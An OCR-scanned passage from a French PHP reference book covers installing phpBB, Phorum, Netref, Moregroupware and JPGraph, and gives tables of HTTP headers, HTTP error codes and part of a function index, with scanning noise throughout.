rendez-vous dans le repertoire "phpBB", sur votre serveur web ou chez votre hebergeur, et 
reperez le fichier config.ini. Dans votre explorateur de fichiers ou votre logiciel de FTP, 
modifiez les proprietes du fichier. II faut qu'il soit en lecture seule. Vous pouvez retourner dans 
votre navigateur et rafraichir la page sur laquelle vous avez laisse PHPbb. Vous voici desormais 
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dans l'espace d'administration de PHPbb. Si, de rage, vous aviez ferme votre navigateur, voici 
l'adresse : http://www.votresite.com/phpBB/adiniii/. Donnez les login et mot de passe de l'administra- 
teur et cliquez sur submit. Vous arrivez alors dans le panneau d'administration de PHPbb. II 
vous faut maintenant creer une nouvelle categoric Cliquez sur le lien add a category, donnez un 
nom de categorie, "test" par exemple pour commencer, puis cliquez sur create category. Retour- 
nez sur la page d'administration en cliquant sur le lien Panneau d'administration. Vous allez 
maintenant devoir creer un forum en cliquant sur le lien Add a forum. Donnez un nom au forum, 
donnez une description, nommez des moderateurs (pour le moment, il n'y a que l'administra- 
teur), choisissez une categorie dans laquelle apparaitra le forum (d'ou l'interet d'avoir cree la 
categorie avec le forum). Ne touchez pas les deux dernieres options pour le moment ; vous 
pourrez les modifier et indiquer ainsi qui pourra ecrire dans le forum et si le forum lui-meme 
sera public ou prive. Cliquez sur Create forum. N'oubliez pas de cliquer sur le nom d'un 
moderateur avant de valider. Attention ! si vous oubliez un champ, PHPbb videra tous les autres 
champs lorsque vous reviendrez sur la page de configuration. Vous devrez repartir de zero dans 
la definition du forum. Lorsque la creation du forum a eu lieu, revenez sur la page d'accueil de 
votre site avec PHPbb. Vous allez toucher du doigt une petite difficulte de l'installation de 
PHPbb. II vous faut cliquer sur le nom du forum que vous avez cree. Vous arrivez alors sur une 
nouvelle page : la page principale du forum. Vous allez devoir creer un sujet dans ce forum. Le 
lien se situe tout en haut a droite de la page web, c'est l'image New Topic. Cliquez dessus. 
Donnez alors un titre et une description pour ce sujet. Une fois cette operation effectuee, 
revenez sur la page principale du forum et cliquez sur le sujet que vous avez donne. Vous allez 
pouvoir entamer une discussion passionnante et enfievree. 



2 1 .4. Phorum : un moteur de forums 

Phorum est un moteur de forums libre et gratuit. En plus d'etre leger, il s'installe tres 
facilement et tres rapidement. II dispose d'une aide a l'installation qui evite de passer par 
l'edition des fichiers de configuration. 



Liste des fomms | Aller sn debut | Noiiuesji sujet | uoit I'wtoresceii 



Figure 21 .8 : Phorum 

Phorum fonctionne avec MySQL ou PostgreSQL. 
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Derniere reponse 


SufjiBrposei' deux images en PHP nouwau 
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Ilii'istian 


1 


24-07-02 18:38 


WANTED : Liste de diffusion mwm. 


rnaya 





24-07-02 10:03 


carte restaurant nouwau 


catiieline 


1 


25-07-02 12:43 


Probleme defou!!!!! nouwau 


satch 





23-07-02 17:52 


variants sur une page web nouveau 


Tiidiev'2001 





23-07-02 15:03 


Help me. Please ! nouveau 


Gratuit-Utile 


z 


24-07-02 16:01 


login frame... nouveau 


'^drus 


1 


24-07-02 16:07 


aide nouveau 


marc 


1 


22-07-02 12:33 


affichacje en HTML des infos de la BDD nouveau 


ohnn^ 


1 


22-07-02 20:24 


probleme mail (script mail2) nouveau 


beau philippe 





22-07-02 10:33 


: . 


sa 
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fichier et liste deroulante nou.-jeau 


marc 
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Chapitre 21 Annexe A : des exemples (^applications 



Telechargez tout d'abord l'archive contenant Phorum directement sur le site de Phorum a 
1'adresse http://www.phorum.org, ou bien utilisez celle presente sur le CD-ROM de la Bible. 
N'oubliez pas de telecharger, en plus, le fichier de francisation french.php (fichier egalement 
disponible sur le CD-ROM). 

Avant de vous lancer dans la procedure d'installation, il faut que vous creiez une nouvelle base 
sur votre serveur de bases de donnees. Elle sera utilisee par Phorum et vous devrez donner son 
nom lors de la procedure d'installation. 

Pour commencez : decompactez l'archive de Phorum quelque part sur votre site web. 

Une fois les fichiers copies dans l'arborescence de votre site web, que ce soit en local ou chez un 
hebergeur, rendez-vous dans l'administration en ligne de Phorum pour parametrer les forums. 
L"'admin" est accessible via l'URL : http://votresite/votredossierphorum/admin/index.php/. Choisissez 
une langue a utiliser pour l'installation puis cliquez sur le bouton Next step. Grace au menu 
deroulant, choisissez le serveur de bases de donnees avec lequel devra travailler Phorum, puis 
cliquez sur le bouton Submit. Vous arrivez ensuite sur une page qui vous demande les para- 
metres de connexion a cette base. 
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Phorum Install Script 

Enter Your D atab ase S ettings : 
Database - Server Name : 

Database - Name : 

Database - User Name : 

Database - Password: 

Phorum - Main Table Name : [fori 



jlocalhost 



jphon 



[root - 



r 



I - Check here if this is an upgrade. 

Read docs/up grade.txt for information about some of your settings. 
Submit | 



NOTE: If SQL Safe Mode is in use on your server, leave the username and password emtpy. 



Figure 21.9 : 

Configuration des 
parametres de 
connexion 



Vous devrez donner le nom du serveur de bases de donnees, le nom de la base a utiliser 
(n'oubliez pas d'en creer une pour l'occasion), ainsi qu'un nom d'utilisateur et un mot de passe 
pour se connecter a cette base. II faudra egalement specifier le nom de la table qui sera utilisee 
par Phorum. Par defaut, le nom forums est donne automatiquement. Une fois tous les champs 
renseignes, cliquez sur Submit. Maintenant que la connexion a la base s'est effectuee et que les 
nouvelles tables sont ajoutees, Phorum vous invite a creer un administrateur. Donnez un nom 
d'utilisateur et un mot de passe dans les champs prevus a cet effet, puis cliquez une nouvelle fois 
sur Submit. II ne reste alors plus qu'a donner 1'adresse a laquelle le forum sera accessible et 
1'adresse e-mail de l'administrateur du forum. 

Votre Phorum est maintenant installe. Mais, comme vous pouvez vous en rendre compte en 
allant sur sa page d'accueil, il est desesperement vide. II faut en effet que vous amorciez la 
pompe en creant un premier forum. 

Rendez-vous dans l'admin de votre forum (http://votresite/dossierphorum/admin/index.php). 
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Main Menu | Forum Index | Logout PHORUM ADMIN 

Database Ccinneciicm Established 
version: 3.3.2c 



Phorum Setup 




Forum Maintenance 




System Maintenance 


Attachment Settings 
Database Settings 
Files/Paths 
HTML Settings 
Global Options 
Plugins 


Manage Forums/Folders 
New Folder 
Hew Forum 

UserAdmin 


Check For Hew Version 
Rebuild IMF File 
Stop Phorum 







Figure 21.10 : Paged' administration de Phorum 

Depuis 1'admin, dans le bloc central Forum Maintenance, cliquez sur le lien New Forum. Vous 
arrivez alors sur une page qui permet la creation d'un forum. Parmi toutes les options 
proposees, deux seulement sont obligatoires : le nom du nouveau forum et la table qu'il 
utilisera dans la base de donnees associee a votre Phorum. Une fois le forum cree, vous pouvez 
deja l'utiliser. Vous n'etes pas oblige de presenter vos forums directement les uns a la suite des 
autres. Vous avez la possibilite de creer des dossiers (folders) dans lesquels il est possible de 
regrouper des forums. II suffit, pour cela, depuis 1'admin, de creer un nouveau folder. Ensuite, 
lors de la creation d'un nouveau forum, vous pourrez, a l'aide d'un menu deroulant, lui associer 
un folder particulier. Cette option est particulierement pratique quand un site commence a 
avoir un certain nombre de forums... 

N'oubliez pas de franciser l'interface utilisateur de Phorum. Vous n'avez qu'a copier le fichier 
francais-3.3.2c.php dans le dossier long de l'arborescence de votre installation de Phorum. Une 
fois le fichier copie, rendez-vous dans la page d'administration. 



Main Menu | Forum Index | Logout PHORUM ADMIN 

;. ,|. . i; , i, ., £ i ,| i, 

version: 3.3 2c 



Global Settings 


Default Messages Per Page: 


[SD 


Default Email: 


|aclinin@inonsite.com 


PhorumMail Code: 




Cookies: 


1 Use Cookies 2} 


Sorting: 


1 Sort Forums 


Default Language: 


1 Francais-3.3.2c 


TimeZone Offset (from server) 


|0 zi 



Update I 



Figure 21.11 : Selection de la langue 

Cliquez sur le lien Global Options. A la ligne Default Language, dans le menu deroulant, vous 
pourrez alors choisir le francais. 

Autres 

II existe evidemment d'autres forums comme : 

■ NeoBoard, disponible a l'adresse hltp://www.neoboard.net:8080/NeoBoard/ ; 
electrifiedForum (eF), disponible a l'adresse http://www.electrifiedpenguin.com/mainindex.php ; 

■ bestweb Forum, disponible a l'adresse http://www.bestweb.ca/. 
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Entre portail et forum : 

myWBBPortal, disponible a l'adresse http://www.wbbhacks.com/. 



21.5. Annuaires de liens 



Netref 



Netref vous permet en quelques minutes d'installer un annuaire de liens sur votre site. Netref 
est une application ecrite en PHP fonctionnant avec des bases de donnees MySQL, et qui se 
configure tres facilement. Du meme type que des annuaires tels que Yahoo ! par exemple, il 
vous permettra de gerer differentes categories et sous-categories, des suggestions de liens faites 
par les internautes, un classement des liens les plus visites. Son interface d'administration est 
claire, et vous permet, entre autres, de verifier les liens soumis, de visualiser l'interface de votre 
annuaire, etc. Le programme est disponible en cinq langues : francais, anglais, italien, suedois 
ou hollandais. 



^| Annuaire Netref - Microsoft Internet Exploi 



Fichier .Edition Affichage Favoiis Outils ? 



Adresse | http://www. i /-.'eb-i«i.ris;tt/annLj/page/ 



~21 tf?W- |j Liens : 



|Francais ' | I I Ajouter a vos favoris Aide 

Bienvenue sur Netref: I'annuaire des outils de recherche 



A propos 



Accueil 
Categoric principals 
EjSj Achats - Ventes (4) 
Hebergement Qfy 

Gratult 

^■O IMetamoteurs 

Noms de domaine (io) 

Redirection gratuite 



n 



Portails pour webmasters CD 



r -.' 'j Referencement 

Outils de verification 

Ressources graphiques (8) 



£ Emploi 

^) Informations © 

Intor rnatique 

^) Musique (2) 

S^^i Outils de rechercbe (isi, 

Annuaire regionaux - Les grands I 

^ Programmation (24) 

PHP - Annuaire de scripts - Java - C / C++ 
:?'d Regies publicitaires (?) 
Services pour site Web (?) 



rel.net/antWdiYers^aidefi.php?num= 



Figure 21 .1 2 : Une base de liens geree avec Netref 



Tout d'abord, telechargez le fichier netref.zip a l'adresse http://www.web-ref.net/annu/inscr/index.php. 
Dans l'arborescence de votre site, creez un repertoire annuaire a la racine de votre site, puis 
decompactez le fichier dans le repertoire annuaire. Vous devez ensuite parametrer le fichier 
option.php. 

Indiquez les parametres de connexion a votre base de donnees. 
$host="l ocal host" ; 
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Indiquez ici le nom d'hote du serveur de bases de donnees. 
$user="username" ; 

Indiquez ici votre nom d'utilisateur utilise pour votre connexion a la base de donnees. 
$pass="password" ; 

Indiquez ici votre mot de passe utilise pour votre connexion a la base de donnees. 
$bdd="basename" ; 

Indiquez ici le nom de la base de donnees a utiliser. 
Passez ensuite a l'administrateur de l'annuaire : 
$psadmin[0]="sylgil "; 

Donnez ici le nom d'utilisateur qui doit etre utilise pour l'administrateur. 
$passadmin[0]="alfred"; 

Donnez ici le nom d'utilisateur qui sera requis pour l'administrateur. 

Enfin, publiez le repertoire annuaire sur votre espace d'hebergement, et rendez-vous sur la 
page www.votresite.net/annuaire/admin/. Entrez alors vos identifiants pour acceder au menu de 
1' administration, puis cliquez sur Creer les tables sql. Voila, votre annuaire est pret. Vous pouvez 
creer les categories et sous-categories a partir du menu d'administration. & m > 

^ CD =" 

o 3 x 
u v n 

Autres f $ > 

CO o. 

Quelques autres annuaires de liens : g? 

phpMyAnnu, disponible a l'adresse http://www.creation-de-site.net/ ; 

■ HitWeb, disponible a l'adresse http://www.freesoftware.fsf.org/hitweb/ ; 

■ PHPMyLinks, disponible a l'adresse http://rhenriot.free.fr/phpmylinks/. 



isa 
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Moregroupware 

Moregroupware est un outil de groupware (travail collaboratif) tres complet. II vous permettra 
de gerer votre groupe de travail en toute simplicity. Vous pourrez creer differents groupes et 
utilisateurs, et leur attribuer des droits divers. Differents modules sont a votre disposition : un 
calendrier pour gerer plusieurs plannings, un repertoire, un module d'informations generales, 
un webmail, etc. II peut se mettre en relation avec differents types de bases de donnees 
(MySQL, PostgreSQL, Oracle...). II supporte plusieurs langues, dont le frangais. 
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** More group ware - web based collaboration - Microsoft Internet Exph 
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Figure 21.13 : Moregroupware 



A Compatibility PHP5 
La version 0.7.2 de Moregroupware n'est pas encore compatible avec PHP 5. Les 
ATTENTION developpeurs y travaillent en modifiant le code du moteur. Ainsi, Moregroupware 
devrait rapidement devenir compatible avec la version la plus recente de PHP. 



Installation 

Avant tout, assurez-vous que votre php.ini est configure avec la fonction magic_quotes 
activee. Telechargez Moregroupware a l'adresse http://www.moregroupware.org/download.php, ou uti- 
lisez le fichier disponible sur le CD-ROM de la Bible. Decompactez le fichier a la racine de votre 
site, puis rendez-vous a l'adresse http://www.monsite.com/moregroupware/. Une page s'affichera vous 
demandant de configurer votre groupware. Cliquez alors sur le lien Selectionnez le langage et 
entrez les donnees de connexion a votre base de donnees. Choisissez alors les modules que vous 
souhaitez installer puis validez. Un message de confirmation de l'installation apparait. Rendez- 
vous alors a l'adresse qui vous sera indiquee en rouge pour administrer votre groupware. Vous 
devrez utiliser l'identifiant et le mot de passe par defaut : login admin et mot de passe admin. 



1414 



Solutions de travail collaboratif 



Principales fonctions 
Admin 

Depuis l'interface de l'administrateur, vous pouvez gerer les utilisateurs, les groupes 
d'utilisateurs, les projets, etc. Rendez-vous tout d'abord sur l'interface d'administration pour 
changer le mot de passe administrateur et creez les utilisateurs. Entrez dans Moregroupware 
avec les mots de passe par defaut. Dans la partie Admin, puis dans Gestionnaire d'utilisateurs, 
editez la fiche de l'utilisateur admin. Completez-la, choisissez le mot de passe et le langage 
appropries, puis validez. La procedure de creation des autres utilisateurs est similaire. Vous 
pouvez ensuite attribuer les droits et les acces aux modules pour chacun des utilisateurs dans le 
gestionnaire des droits, et repartir les membres dans differents groupes. 

Calendrier 

Dans ce module, chaque utilisateur pourra gerer son planning, visualiser et/ou modifier celui 
des autres membres. Vous pourrez creer des evenements ponctuels ou repetes. 

Contacts 

Cette rubrique vous permet de gerer des contacts aussi bien individuels que par groupe, par 
entreprise ou par fonction. Elle contient un moteur de recherche. 

Apercu 

L' apercu regroupe les evenements vous concernant qui ont ete planifies : vos rendez-vous, les 
taches que vous devez effectuer, etc. 

Projets 

Administrez les projets du groupe de travail : creez des projets, determinez les membres qui 
interviendront dessus, creez des fiches de travail pour suivre 1'evolution de chacun et obtenir un 
apercu general de l'avancement du projet. 

Configuration 

Modifiez vos donnees personnelles, configurez votre webmail et determinez vos preferences 
quant a l'affichage des diverses rubriques. 

Taches 

Gerez les taches concernant les differents projets : vos taches personnelles, celles qui vous ont 
ete deleguees, celles que vous avez deleguees. Vous pourrez suivre leur progression. 

Webmail 

Envoyez et recevez vos e-mails. Attention, n'oubliez pas de bien indiquer votre adresse dans le 
champ adresse de retour lors de la configuration, sans quoi vos destinataires ne pourront pas 
repondre automatiquement a vos e-mails. 
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Autres 

Quelques solutions supplementaires : 

PHPProjekt, disponible a l'adresse http://www.phpprojekt.com/ ; 
Tutos, disponible a l'adresse http://www.tutos.org/ ; 
Twig, disponible a l'adresse http://twig.screwdriver.net/. 

Et il en existe bien d'autres... 



21.7. Graphiques 
JPGraph 



CO 
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Presentation 

JPGraph est une bibliotheque en PHP qui permet de creer simplement et rapidement des 
graphiques en tous genres a partir de diverses sources. Avant d'aller plus loin, rendons grace a 
Johann Persson, createur de cet outil qu'il a bien voulu mettre librement a la disposition de tous 
les utilisateurs de PHP. 

La generation dynamique de graphiques a partir de donnees statiques ou de variables peut 
constituer un reel "plus" pour un site web. Cela offre une vision synthetique de bien des sujets, 
tout en agrementant des demonstrations qui, sinon, seraient bien austeres. Les applications 
pratiques d'un generateur de graphiques, tableaux et autres camemberts n'ont plus a faire leurs 
preuves ; en temoigne le large succes d'un logiciel comme MS Excel. Toutes ces solutions sont 
maintenant a la portee de votre site web grace a JPGraph. 

JPGraph est une librairie en PHP orientee objet. Toutes les informations necessaires a la 
realisation d'un graphique sont regroupees dans un seul fichier PHP. 



Plan de conversion 

Cdu 2001-11-22 all 2002-01-24J 
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Figure 21 .1 4 : Un graphique genere a la volee par JPGraph 
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Graphiques 



Avant de vous lancer dans jPGraph, il faut vous assurer que vous disposez bien des outils 
necessaires : un PHP version 4.02 ou ulterieure ainsi que le support de la librairie gdi.x. Pour 
savoir si votre hebergeur repond aux conditions, faites un simple phpinf o ( ) et vous serez vite 
fixe. 




Vous pouvez consulter le chapitre "Les images et les animations Flash" 



RENVOI 



La generation d'un graphique ne demande que peu de lignes d'un code qui sera vite produit. 
Avant cela, il faut tout de meme passer par ['installation et la configuration de JPGraph. 




Compatibilite PHP 5 

La version 1.16 de JPGraph ne supporte pas encore PHP5. II vous faudra conserver 



ATTENTION une version anterieure de PHP (4.x) pour utiliser JPGraph ou bien attendre que la 
compatibilite avec PHP5 soit annoncee sur le site officiel du projet 
www.aditus.nu/jpgraph. 

Installation 

Installez directement JPGraph depuis le fichier zippe present sur le CD-ROM, ou telechargez 
une version plus recente en ligne (s'il en existe une) a l'adresse http://www.aditus.nu/jpgraph/. 
Decompactez les fichiers dans un dossier specialement prevu a cet effet dans l'arborescence de 
votre serveur web. Le fichier zippe de jPGr aph cree un dossier jpgraph-1.16 au sein du repertoire 
dans lequel il s'installe (vous pouvez le renommer dossier). A la racine du dossier JPGraph, vous 
trouverez la licence de distribution du logiciel ainsi qu'un fichier README contenant des 
instructions d'installation (mais evidemment en anglais). Se trouve egalement dans le repertoire 
JPGraph un dossier src. 

Les dossiers Exemples et utils contiennent, comme leur nom l'indique, des exemples 
d'utilisation de JPGraph ainsi que divers utilitaires pour aller plus loin dans l'utilisation de 

JPGraph. 

Pour que vous puissiez travailler avec JPGraph, editez le fichier jpgraph.php situe dans le 
dossier src. Vous avez globalement peu de parametres a renseigner. Recherchez la ligne 
suivante : 

DEFINE("CACHE_DIR",7tmp/jpgraph_cache/") ; 

Vous devez donner un dossier temporaire qui sera utilise par JPGraph. Faites bien attention 
qu Apache puisse y ecrire. Renseignez ensuite cette ligne : 

DEFINE("TTF_DIR","/usr/local/fonts/ttf/") ; 

Donnez la le chemin qui pointe vers les polices TrueType installees sur votre systeme 
(traditionnellement C:\WINDOWS\FONTS sous Windows). 

Une fois ces deux lignes completees, vous pouvez appeler directement le fichier testsuit Jpgraph 
.php depuis un navigateur web, en ayant pris soin de vous assurer que votre serveur web 
fonctionnait bien. Vous verrez alors toutes les potentialites de JPGraph. 
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REMARQUE 



En cas de probleme, appelez la police 

Certains des exemples donnes par jPGraph peuvent manquer a I'appel et ne pas 
fonctionner correctement. Dans la majeure partie des cas, cela vient d'une police 
utilisee qui n'est pas presente sur votre systeme. Deux solutions s'offrent a vous : 
modifier le fichier d'exemple pour specifier une autre police ou bien installer celle qui 
manque a I'appel. 



Utilisation 

JPGraph etant orientee objet, la creation d'un graphique se resume a peu de choses. Voici un 
exemple de script : 

<?php 

i ncl ude("l ocal /jpgraph . php") ; 

Vous devez faire un appel a jpgraph.php dans chacun des fichiers de creation d'un graphique. A 
la place de "local", donnez le chemin vers le fichier jpgraph.php sur votre machine. 

Dans notre cas, nous souhaitons creer un graphique en toile d'araignee ; nous devons done 
egalement inclure le script jpgraph _spider.php. 

2 i ncl ude("l ocal /jpgraph_spider.php") ; 

«* oj ~ Vous donnez ici le fichier de description du graphique que vous voulez creer. Vous trouverez 

>< 2; o dans le fichier README present a la racine du dossier JPGraph une liste des fonctions 

£. >< £ utilisables. Pour savoir comment utiliser ces fonctions, les differents exemples inclus dans 

< " . w JPGraph pourront vous servir. Consultez egalement l'aide pour obtenir d'autres informations. 

^ Les donnees doivent generalement est donnees via un tableau. 

$data = array(30, 40, 50, 60, 70); 

A chaque type de graphique correspond un objet (ici SpiderGraph) auquel est communiquee la 
taille de l'image. 

$graph = new Spi derGraph (250,200, "auto") ; 
$plot = new SpiderPlot($data) ; 

Vous pouvez ensuite lancer la creation du graphique avec les valeurs que vous avez affectees a 
la variable $data. 

$graph->Add($plot) ; 
$graph->Stroke() ; 

?> 

Pour utiliser une image generee par la librairie JPGraph, appelez celle-ci directement dans une 
balise img, comme ceci : 

<img src="graphiquel.php" border=0 align=center width=300 height=200> 
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Annexe B : les en-tetes HTTP et les variables externes 



Vous trouverez dans le tableau suivant une liste des en-tetes HTTP les plus courants, qu'ils 
soient emis par le client a destination du serveur (C->S) ou par le serveur a destination du client 
(S->C). 



Tableau 22.1 : En-tetes HTTP les plus courants 



En-tete 


Sens 


Signification, exemples de valeurs, variable 






externe associee 


Accept 


C->S 


Type de contenu que le navigateur est 



susceptible d'accepter (text/html, audio/x-aiff, 
image/jpeg, etc.) 

II s'agit d'une chame de caracteres construite par 
la concatenation des differents MIME-type 
supportes, separes par une virgule. Une serie de 
types peut etre ponderee par un coefficient 
(indiquant une notion de preference) ; la chaine 
est alors suivie d'un point-virgule puis de 'q=' 
suivi du coefficient (<1). 

Exemple : 

text/xml , text/html ; q=0 . 9 , text/plain; q=0 . 8 , 
image /jpeg,q=0.2 

Cette valeur est accessible depuis $_server [ "http_accept" ] . 

Accept-charset C->S Le type de caractere que le navigateur attend en 

reponse (ex. : ISO-8859-1). II s'agit d'une chaine 
de caracteres construite par la concatenation des 
differents encodages supportes, separes par une 
virgule. Une serie de types peut etre ponderee par 
un coefficient (indiquant une notion de 
preference) ; la chame est alors suivie d'un point- 
virgule puis de 'q=' suivi du coefficient (<1). 

Exemple : 

ISO-8859-1, utf-8 ;q=0 . 66, * ;q=0 . 3 3 

Cette valeur est accessible depuis 

$_SERVER [ " HTTP_ACCEPT_CHARSET" ] . 

Accept-Encoding C->S Le type de compression que le navigateur est 

capable de supporter en reponse. 
II s'agit d'une chame de caracteres construite par 
la concatenation des differentes compressions 
supportees, separees par une virgule. Une serie 
de types peut etre ponderee par un coefficient 
(indiquant une notion de preference) ; la chaine 
est alors suivie d'un point-virgule puis de 'q=' 
suivi du coefficient (<1). 

Exemple : 

Gzip, deflate, compress ; q=0 . 9 

Cette valeur est accessible depuis 

$_SERVER [ " HTTP_ACCEPT_ENCODING " ] . 
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En-tete 


Sens 


Signification, exemples de valeurs, variable 






externe associee 


Accept -Language 


C->S 


La langue preferee de I'utilisateur. 



II s'agit d'une chaTne de caracteres construite par 
la concatenation des differents codes de langue 
supportes, separes par une virgule. Une serie de 
types peut etre ponderee par un coefficient 
(indiquant une notion de preference) ; la chaine 
est alors suivie d'un point-virgule puis de 'q=' 
suivi du coefficient (<1). 

Exemple : 

f r , en; q=0 . 50 

Cette valeur est accessible depuis 

$_SERVER [ " HTTP_ACCEPT_LANGUAGE " ] . 

Referer C->S Adresse de la page depuis iaquelle la requete a 

ete effectuee 

Exemple : 

http : / /www. unannuairede lien . com/ 

Cette valeur est accessible depuis $_server [ "http_referer" ] . 
user-Agent C->S Chame d'identification du client. 

Exemple : 

Mozilla/5 . 001 (windows; U; NT4 . ; en-us) 
Gecko/25250101 

Cette valeur est accessible depuis 

S w m $_SERVER[ " HTTP_USER_AGENT " ] . 

1/5 °2 = 

™ -s S Host C->S Norn de la machine cliente. 

g [r " En-tetes de gestion du cache 

| "I cache-control S->C Parametrage du cache. 

<c ™ 

cvi 5 Exemple : 

^ max-age=6 (duree de vie du document limitee a 60 secondes). 

Expires S->C Limite de validite du document. 

Exemple : 

Sat, 27 Apr 2002 16:00:53 GMT 

Pragma S->C Gestion du cache. 

Exemple : 

no-cache (le document ne doit pas etre mis en cache). 
Declaration du contenu du document 

content-Type S->C MIME-type du document emis par le serveur. 

Exemple : 

text /html 
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En-tete Sens 


Signification, exemples de valeurs, variable 
externe associee 


Content-Encoding S->C 


Type de compression (ou plus generalement 
codage) utilise pour le document emis par le 
serveur. 


Exemple : 

Compress 

Gzip 

Deflate 


Content-Length S->C 


Taille (en octets) du document emis par le 
serveur. 


Content-Language S->C 


Langue utilisee dans le document. 


Redirection 


Location S->C 


Indique au client de se tourner vers une autre 
adresse. 


Exemple : 

http : / /www. 


autredomaine . com 


Informations serveur 


Server S->C 


Identifiant du serveur. 


Exemple : 

Apache/ 1 . 3 . 


26 (Unix) PHP/4.2.2 


Date S->C 


Date et heure du serveur. 



Exemple : 

Sat, 27 Apr 2002 15:59:53 GMT § S i> 

En-tetes de mails s _ g 

» J CD 

From Specifie I'adresse de I'emetteur du mail. n ^ „ 

to Specifie les adresses des destinataires du mail. i — ™ 

1 r CD M 

CO 

cc Specifie les adresses des personnes mises en copie du mail. OT = 

bcc Specifie les adresses des personnes mises en copie cachee du mail. 

Reply-To Specifie I'adresse a laquelle le destinataire du mail doit repondre. 

subject Titre du mail. 

mime -version Numero de version de la norme MIME utilisee. 
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Annexe C : les erreurs HTTP 



Tableau 23.1 : Les principaux codes d'erreur que peut retourner un serveur web 



Code 




Signification 


100- 


199 


Les informations sont retournees. 


200 - 


299 


La requete a ete traitee avec succes. 


200 




Aucun incident a signaler. 


204 




Le "document" retourne est vide. 


300 - 


399 


Demande de redirection. 


300 




Le serveur a besoin de plus d'informations. 


301 




Le document demande a ete deplace definitivement. 


302 




Le document demande a ete deplace temporairement (les requetes 
suivantes ne necessiteront pas forcement de redirection). 


303 




Le document doit etre demande a une autre adresse. 


400 - 


499 


La requete est incomplete. 


400 




La requete n'est pas valide. 


401 




L'authentification a echoue. 

pp n'pct nac Ip rpcnltat cittpnrlii cniic Anarhp vprifiP7 niiP Ipc firhiprc 

Ol L-C II Col prJo IC ICoUILaL aLlCIIUU, oUUo MLJaUllC, VCIIIICi. LjUu ICo HulllClo 

.htaccess et .htpasswd (le nom peut etre different) contiennent bien les 
nom et mot de passe que vous saisissez. 


403 




Acces interdit. 


404 




La page demandee au serveur n'a pu etre trouvee. 


405 




La methode utilisee est refusee par le serveur. 


406 




Authentication proxy exigee. 


407 




Authentification proxy exigee. 


408 




Delai d'attente de la requete du client depasse. 


411 




Le serveur a besoin de la longueur de la requete. 


413 




La requete est trap longue. 


500 - 


599 


Indique une erreur du serveur HTTP. 


500 




Erreur interne du serveur. 

Assurez-vous de ne pas avoir cree une boucle comme, par exemple, une 
serie infinie de redirections (ce qui peut arriver lors des traitements 
automatiques des erreurs). 


504 




Delai d'attente depasse. 



Index des fonctions 
et methodes 



■ 

_clone, 244 
_construct, 220 

destruct, 243 
"FILE_, 118 

LINE_, 118 

sleep, 242 

wakeup, 242 



A 

abs, 346 
acos, 330 
acosh, 334 
addCSlashes, 386 
addSlashes, 357, 385 
ArrayObject, 246 

append, 246 

count, 247 

current, 248 

getlterator, 248 

key, 248 

next, 249 

offsetExists, 247 

offsetGet, 247 

offsetSet, 246 

offsetUnset, 247 

rewind, 249 

seek, 249 

valid, 248 

construct, 246 

array_change_key_case, 185 
array_chunk, 185 
array_count_values, 198 
array_diff, 199 
array Jill, 183 
array_filter, 201 
array_flip, 179 
array_intersect, 199 
array_intersect_assoc, 200 



array_keys, 180 
array_key_exists, 182 
array_map, 202 
array_merge, 200 
array_merge_recursive, 201 
array_multisort, 196 
array_pad, 183 
array _pop, 190 
array_push, 190 
array_rand, 180 
array_reduce, 203 
array_reverse, 191 
array_search, 181 
array_shift, 191 
array_slice, 183 
array_splice, 184 
array_sum, 198 
array_unique, 179 
array_unshift, 191 
array_values, 179 
array_walk, 204 
arsort, 193 
asin, 331 
asinh, 334 
asort, 192 
atan, 332 
atan2, 332 
atanh, 335 



B 

base64_encode, 966 
basename, 541 
base_convert, 344 
bcadd, 349 
bccomp, 351 
bcdiv, 350 
bcmod, 350 
bcmul, 350 
bcpow, 350 
bcscale, 349 
bcsqrt, 351 
bcsub, 349 



binDec, 344 
break, 154, 157 



c 

call_user_func, 172 
call_user_func_array, 172 
case, 156 
ceil, 336 
chdir, 539 
checkDate, 443 
checkDNSRR, 1267 
chgrp, 532 
chmod, 531 
chop, 399 
chown, 532 
chr, 363 

chunk_split, 401 
class_exists, 239 
clearStatCache, 559 
closeDir, 519 
compact, 186 
const, 222 
continue, 157 
convert_cyr_string, 394 
copy, 526 
cos, 330 
cosh, 333 
count, 178-179 
count_chars, 371 
crc32, 407 

create_function, 168 
crypt, 408 
curl_close, 1290 
curl_errno, 1295 
curl_error, 1295 
curl_exec, 1294 
curl_getinfo, 1294 
curl_init, 1290 
curl_setopt, 1290 
curl_version, 1295 
current, 187 



1 



date 



D 

date, 438 
DB 

affectedRows, 885 

autoCommit, 877 

commit, 878 

createSequence, 886 

disconnect, 875 

execute, 886 

executeMultiple, 886 

getAll, 882 

getAssoc, 882 

getCol, 881 

getListOf, 898 

getOne, 880 

getRow, 881 

isError, 888 

limitQuety, 874 

netxld, 887 

prepare, 885 

provides, 899 

query, 873 

rollback, 878 
DBResult 

fetchlnto, 880 

fetchRow, 878 

numRows, 884 
decBin, 344 
decHex, 345 
decOct, 345 
default, 156 
define, 117 
deg2rad, 332 
dirname, 542 
diskfreespace, 562 
disk_free_space, 562 
disk_total_space, 563 
DNS_check_record, 1267 
DNS_get_mx, 1268 
do, 153 
DOMAttr 

isld, 1222 
DOMDocument 

createAttribute, 1218, 1226 

createAttributeNS, 1218, 1226 

createCDATASection, 1218, 

1226 

createComment, 1218, 1226 
createDocumentFragment, 1218 
createElement, 1218, 1227 
createElementNS, 1218, 1227 
createEntityReference, 1218 
createProcessinglnstruction, 
1218 

createTextNode, 1218, 1227 



getElementByld, 1218 
getElementByTagName, 1218 
importNode, 1218 
load, 1218, 1223 
loadHTML, 1218, 1224 
loadHTMLFile, 1219, 1224 
loadXML, 1219, 1224 
normalize, 1219 
relaxNGValidate, 1219 
relaxNGValidateSource, 1219 
save, 1219, 1225 
saveHTML, 1219, 1225 
saveHTMLFile, 1219, 1225 
saveXML, 1219, 1225 
schema Validate, 1219 
schema ValidateSource, 1219 
validate, 1219 
xinclude, 1219 
DOMElement 

getAttribute, 1221, 1230 
getAttributeNode, 1221 
getAttributeNodeNS, 1221 
getAttributeNS, 1221 
getElementByTagName, 1221 
getElementByTagNameNS, 
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